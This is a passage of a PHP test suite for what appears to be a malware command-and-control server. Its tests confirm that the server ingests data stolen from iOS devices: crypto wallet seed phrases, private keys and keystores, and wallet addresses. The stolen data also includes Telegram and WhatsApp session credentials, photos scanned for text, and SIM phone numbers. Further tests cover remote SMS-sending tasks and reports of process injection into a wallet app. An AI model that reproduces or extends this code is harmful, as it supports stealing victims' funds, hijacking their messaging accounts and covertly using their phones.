xxbbCrypto()->encryptJson($payload, $ts); return $this->call('POST', $path, [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, ], $enc['body']); } #[Test] public function vhx_returns_plain_ok(): void { $this->get('/vhx')->assertOk()->assertSee('ok'); $this->call('HEAD', '/vhx')->assertOk(); } #[Test] public function profile_creates_device_from_device_info(): void { $this->xxbbPost('/a', [ 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'deviceModel' => 'iPhone', 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], ])->assertOk()->assertSee('1786468227899{}', false); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('iPhone12,8', $device->device_model); $this->assertSame('16.6', $device->ios_version); $this->assertNull($device->channel_id); $this->assertNull($device->user_agent); } #[Test] public function profile_upgrades_generic_model_on_existing_device(): void { Device::query()->create([ 'device_id' => '000C30D83CD0402E', 'device_model' => 'iPhone', 'ios_version' => null, ]); $this->xxbbPost('/a', [ 'd' => '000C30D83CD0402E', 'deviceModel' => 'iPhone', 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertSame('iPhone12,8', $device->device_model); $this->assertSame('16.6', $device->ios_version); } #[Test] public function event_creates_device_and_log(): void { $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'et' => 'injection_success', 'desc' => 'Process injection succeeded', 'ctx' => ['bundleId' => 'im.token.app'], 'm' => 'iPhone12,8', 'pv' => '16.6', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('iPhone12,8', $device->device_model); $this->assertSame('16.6', $device->ios_version); $this->assertNull($device->channel_id); $ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first(); $this->assertNotNull($ev); $this->assertSame('injection_success', $ev->event_name); } #[Test] public function apps_ingests_al(): void { $this->xxbbPost('/u', [ 'd' => '000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'v' => '16.6', 'al' => [ ['a' => 'imToken', 'b' => 'im.token.app', 'v' => '2.21.0'], ], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first(); $this->assertNotNull($app); $this->assertSame('imToken', $app->name); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $this->assertSame(['imToken'], $device->walletNameList()); $this->assertTrue($device->albumStorageEnabled()); } #[Test] public function uj_stores_keystore_from_json_string(): void { $this->xxbbPost('/uj', [ 'd' => '000C30D83CD0402E', 'a' => 'b', 'result' => json_encode([ 'crypto' => ['cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef'], ]), ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertNotNull($ks); $this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null); $this->assertSame('imToken', $ks->source); $this->assertSame(0, (int) $ks->decrypted); } #[Test] public function uj_unknown_wallet_tag_leaves_keystore_source_empty(): void { $this->xxbbPost('/uj', [ 'd' => '000C30D83CD0402E', 'a' => 'not-a-wallet', 'result' => json_encode(['crypto' => ['cipher' => 'aes-128-ctr']]), ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertNotNull($ks); $this->assertSame('', $ks->source); $this->assertSame('未知', $ks->sourceLabel()); $this->assertSame(0, (int) $ks->decrypted); } #[Test] public function ub_ingests_ba_json_string(): void { Http::fake([ '*' => Http::response(['ok' => true], 200), ]); $this->xxbbPost('/ub', [ 'd' => '000C30D83CD0402E', 'a' => 'b1', 'ba' => json_encode([ 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [ [ 'decimal' => '6', 'symbol' => 'USDT', 'chainType' => 'TRON', 'balance' => '0', ], [ 'decimal' => '6', 'symbol' => 'TRX', 'chainType' => 'TRON', 'balance' => '0', ], ], ]), ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') ->first(); $this->assertNotNull($addr); $this->assertSame('TRON', $addr->chain_type); $this->assertSame('imToken', $addr->source); } #[Test] public function lab_timestamp_header_does_not_decrypt_xxbb_body(): void { $enc = $this->xxbbCrypto()->encryptJson([ 'd' => '000C30D83CD0402E', 'et' => 'heartbeat', ], '1786468227899'); $this->call('POST', '/event', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => '1786468227899', ], $enc['body'])->assertOk(); $this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first()); } #[Test] public function nb_ingests_notes(): void { $this->xxbbPost('/nb', [ 'd' => '000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'list' => [ "spawn rabbit unusual favorite yard recipe\n(R(R", 'second note line', ], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame(1, Note::query()->where('device_id', $device->id)->count()); $note = Note::query()->where('device_id', $device->id)->first(); $this->assertIsArray($note->content); $this->assertCount(2, $note->content); $this->assertStringContainsString('spawn rabbit', $note->content[0]); } #[Test] public function result_ingests_mnemonic(): void { $this->xxbbPost('/result', [ 'd' => '000C30D83CD0402E', 'a' => 'b', 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame('imToken', $row->source); $this->assertStringContainsString('abandon', $row->mnemonic); } #[Test] public function t_extracts_photo_archive_and_stores_file(): void { Storage::fake('local'); $crypto = $this->xxbbCrypto(); $tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid(); mkdir($tmp); $jpegPath = $tmp.'/hit.jpg'; file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); $archivePath = $tmp.'/capture.7z'; $password = $crypto->archivePassword('0'); $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') ? '/opt/homebrew/opt/p7zip/bin/7z' : '7z'; $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); Device::query()->create([ 'device_id' => '000C30D83CD0402E', 'album_storage' => true, ]); $checkDir = storage_path('app/c2/check/000C30D83CD0402E'); $checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', '/t', [ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'batchBase' => '0', 'idx' => '000001000000', 'ftu' => '000001000000', 'x-hit' => '12', ], [], ['file' => $upload], ['CONTENT_TYPE' => 'multipart/form-data'] )->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $photo = Photo::query()->where('device_id', $device->id)->first(); $this->assertNotNull($photo); $this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256); $this->assertSame(4, $photo->size); $this->assertSame(12, $photo->x_hit); $this->assertSame(1, $photo->upload_count); $this->assertSame(0, $photo->process_index); $this->assertSame(1, $photo->text_count); $this->assertSame(0, $photo->barcode_count); Storage::disk('local')->assertExists($photo->path); $this->assertStringStartsWith('c2/photos/', $photo->path); $checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $this->assertSame($checkBefore, $checkAfter); @unlink($jpegPath); @unlink($archivePath); @rmdir($tmp); } #[Test] public function us_ingests_tronlink_mnemonic(): void { $this->xxbbPost('/us', [ 'd' => '000C30D83CD0402E', 'a' => 'c', 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame('TronLink', $row->source); } #[Test] public function us_ingests_private_key_without_result_wrapper(): void { $this->xxbbPost('/us', [ 'd' => '000C30D83CD0402E', 'a' => 'f', 'privateKey' => '0x'.str_repeat('ab', 32), ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame('BitKeep', $row->source); $this->assertStringStartsWith('0x', $row->mnemonic); } #[Test] public function ub_ingests_global_wallet_ad_map(): void { Http::fake(['*' => Http::response(['ok' => true], 200)]); $this->xxbbPost('/ub', [ 'd' => '000C30D83CD0402E', 'a' => 'p', 'ad' => [ 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704', ], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6') ->first(); $this->assertNotNull($addr); $this->assertSame('Global Wallet', $addr->source); $this->assertSame('TRON', $addr->chain_type); } #[Test] public function api_tg_t_ingests_telegram_auth(): void { Storage::fake('local'); $this->xxbbPost('/api/tg/t', [ 'd' => '000C30D83CD0402E', 'd1' => '00008030-000C30D83CD0402E', 'd2' => 'FFXD5S8FPLJM', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'a' => 'tg', 'user_id' => '123456789', 'state' => ['records' => [['id' => 1]]], 'db_sqlite' => base64_encode('not-a-real-sqlite'), 'datacenterAuthInfoById' => 'AQID', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); $row = PluginSession::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); $this->assertSame('000C30D83CD0402E', $row->device_key); $this->assertSame('123456789', $row->account_id); $this->assertSame('123456789', $row->payload['user_id'] ?? null); $this->assertTrue((bool) ($row->payload['has_db'] ?? false)); $this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []); Storage::disk('local')->assertExists($row->payload['payload_path']); $full = $row->fullPayload(); $this->assertArrayHasKey('db_sqlite', $full); $this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null); $this->assertTrue($device->fresh()->hasTelegram()); $this->assertFalse($device->fresh()->hasWhatsApp()); } #[Test] public function api_tg_t_ingests_ecid_envelope(): void { Storage::fake('local'); $this->xxbbPost('/api/tg/t', [ 'ecid' => '00025D800C22001E', 'unique' => '00008101-00025D800C22001E', 'serial' => 'G0NDX83M0D5D', 'channel' => 'b78e30542d4d290f72685e97639a9b05', 'user_id' => '37603278499', 'state' => '{"records":[]}', 'db_sqlite' => base64_encode('not-a-real-sqlite'), ])->assertOk(); $device = Device::query()->where('device_id', '00025D800C22001E')->first(); $this->assertNotNull($device); $row = PluginSession::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); $this->assertSame('37603278499', $row->account_id); $this->assertSame('37603278499', $row->payload['user_id'] ?? null); $this->assertTrue((bool) ($row->payload['has_db'] ?? false)); $this->assertArrayHasKey('db_sqlite', $row->fullPayload()); } #[Test] public function api_wp_t_ingests_whatsapp_session(): void { Storage::fake('local'); $this->xxbbPost('/api/wp/t', [ 'd' => '000C30D83CD0402E', 'd1' => '00008030-000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'a' => 'wp', 'userId' => '15551234567', 'phoneId' => 'phone-id-1', 'registrationID' => 4242, 'clientStaticKeypairBase64' => 'QUJD', 'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []], 'whatsappVersion' => '2.24.0', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); $row = PluginSession::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); $this->assertSame('000C30D83CD0402E', $row->device_key); $this->assertSame('15551234567', $row->account_id); $this->assertSame('15551234567', $row->phone); $this->assertSame( PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'), $row->payload['payload_path'] ?? null ); $this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []); Storage::disk('local')->assertExists($row->payload['payload_path']); $full = $row->fullPayload(); $this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null); $this->assertTrue($device->fresh()->hasWhatsApp()); $this->assertFalse($device->fresh()->hasTelegram()); } #[Test] public function api_wp_t_ingests_account_data_envelope(): void { Storage::fake('local'); $this->xxbbPost('/api/wp/t', [ 'account' => '2348034472071', 'ecid' => '0006345E0A09002E', 'unique' => '00008020-0006345E0A09002E', 'serial' => 'DX3YJA00KXKQ', 'channel' => 'b78e30542d4d290f72685e97639a9b05', 'data' => json_encode([ 'userId' => '2348034472071', 'phoneId' => 'phone-id-live', 'clientStaticKeypairBase64' => 'QUJD', 'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]), 'nickname' => 'wa-nick', ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), ])->assertOk(); $device = Device::query()->where('device_id', '0006345E0A09002E')->first(); $this->assertNotNull($device); $row = PluginSession::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); $this->assertSame('2348034472071', $row->account_id); $this->assertSame('2348034472071', $row->phone); $this->assertSame('wa-nick', $row->payload['nickname'] ?? null); $this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []); $full = $row->fullPayload(); $this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null); $this->assertIsArray($full['phoneKeyStore'] ?? null); } #[Test] public function event_stores_sms_phone_number(): void { $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'et' => 'sms_heartbeat', 'phoneNumber' => '+15550004444', 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('+15550004444', $device->phone); } #[Test] public function sms_poll_stores_phone_from_cardsinfo(): void { $this->xxbbPost('/m/t/g', [ 'd' => '000C30D83CD0402E', 'bundleID' => 'imagent', 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']], ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('+15550005555', $device->phone); } #[Test] public function sms_report_does_not_use_dest_phone_as_device_phone(): void { $this->xxbbPost('/m/t/r', [ 'd' => '000C30D83CD0402E', 'task_id' => 'task-dest-only', 'phone' => '+15550006666', 'msg' => 'sent', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertNull($device->phone); } #[Test] public function sms_poll_stores_phone_and_returns_empty_tasks(): void { $resp = $this->xxbbPost('/m/t/g', [ 'deviceID' => '000C30D83CD0402E', 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'p' => '+15550001111', 'bundleID' => 'imagent', 'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]], ]); $resp->assertOk(); $this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent()); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('+15550001111', $device->phone); $this->assertNull($device->channel_id); $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); $this->assertSame(0, SmsReport::query()->count()); } #[Test] public function sms_report_stores_task_event(): void { $this->xxbbPost('/m/t/r', [ 'd' => '000C30D83CD0402E', 'task_id' => 'task-9', 'phone' => '+15550003333', 'p' => '+15550002222', 'msg' => 'ok', 's' => '1', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('+15550002222', $device->phone); $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); $row = SmsReport::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame('000C30D83CD0402E', $row->device_key); $this->assertSame('task-9', $row->task_id); $this->assertSame('+15550003333', $row->dest_phone); $this->assertSame('+15550002222', $row->local_phone); $this->assertSame('ok', $row->msg); $this->assertSame('1', $row->status); } #[Test] public function xxbb_request_logs_to_xxbb_folder_not_c2(): void { Device::query()->create([ 'device_id' => '000C30D83CD0402E', 'album_storage' => true, ]); $marker = 'XXBBLOG'.uniqid(); $xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log'); $c2Log = public_path('log/c2/'.date('Ymd').'.log'); @unlink($xxbbLog); $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'et' => $marker, ])->assertOk(); $this->assertFileExists($xxbbLog); $xxbbBody = (string) file_get_contents($xxbbLog); $this->assertStringContainsString('/event', $xxbbBody); $this->assertStringContainsString($marker, $xxbbBody); if (is_file($c2Log)) { $this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log)); } } }